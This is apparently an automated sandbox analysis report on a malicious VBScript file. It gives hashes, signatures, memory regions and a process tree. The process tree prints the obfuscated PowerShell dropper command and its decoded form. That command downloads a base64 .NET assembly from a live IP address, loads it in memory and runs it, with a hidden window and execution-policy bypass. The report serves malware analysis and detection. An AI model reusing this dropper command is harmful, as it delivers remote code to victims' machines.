Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    11/08/2022, 18:00

General

  • Target

    6e4b16840770fe3b078206831254d138.vbs

  • Size

    204KB

  • MD5

    6e4b16840770fe3b078206831254d138

  • SHA1

    12da33c6224a67811698b2b6c8fb771357a43638

  • SHA256

    7d725947a2cc12a85a532d67444856f521749057a8263a10880634642c2276eb

  • SHA512

    a318aaabe1c9f226d2abaf1556a6693d364676e123e7572a7c95ee44b3f28e1c59f8d7d8a6c203a6e05e0de0f6f0394d6b7c52e8851d2f171880f179a9cdba37

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ARTS/dllf3txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC8AeQB1ADcAeQA2AC⌚⌚⌚AJAAhACIAIwAkAC⌚⌚⌚AJgAvACgAKQA9ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '/yu7y6%$!"#$%&/()=' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:624

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          138491953f88fa84ce487a0103bea8dd

          SHA1

          4b03d629d82b102099decb7704ac8d38575b3d7a

          SHA256

          75eb0b1be5bce202000050b78f88d6ea79f302237d64d06c82cbe2e6b57794f3

          SHA512

          d01db0d9342ff66eae314e7866a68d318d8e541b7ee9e3dbfa49bd734bc98b134fa9584a2d76ca92c11c52e01c12d5ea19c4fa9bbe3f01ee5a702c5c3d99a85c

        • memory/624-68-0x000000001B720000-0x000000001BA1F000-memory.dmp

          Filesize

          3.0MB

        • memory/624-70-0x0000000002644000-0x0000000002647000-memory.dmp

          Filesize

          12KB

        • memory/624-71-0x000000000264B000-0x000000000266A000-memory.dmp

          Filesize

          124KB

        • memory/624-67-0x0000000002644000-0x0000000002647000-memory.dmp

          Filesize

          12KB

        • memory/624-69-0x000000000264B000-0x000000000266A000-memory.dmp

          Filesize

          124KB

        • memory/624-65-0x000007FEF3F80000-0x000007FEF4ADD000-memory.dmp

          Filesize

          11.4MB

        • memory/624-64-0x000007FEF4AE0000-0x000007FEF5503000-memory.dmp

          Filesize

          10.1MB

        • memory/1576-57-0x000007FEF4AE0000-0x000007FEF5503000-memory.dmp

          Filesize

          10.1MB

        • memory/1576-66-0x000000000299B000-0x00000000029BA000-memory.dmp

          Filesize

          124KB

        • memory/1576-60-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

          Filesize

          3.0MB

        • memory/1576-59-0x0000000002994000-0x0000000002997000-memory.dmp

          Filesize

          12KB

        • memory/1576-58-0x000007FEF3F80000-0x000007FEF4ADD000-memory.dmp

          Filesize

          11.4MB

        • memory/1576-72-0x0000000002994000-0x0000000002997000-memory.dmp

          Filesize

          12KB

        • memory/1576-73-0x000000000299B000-0x00000000029BA000-memory.dmp

          Filesize

          124KB

        • memory/1804-54-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

          Filesize

          8KB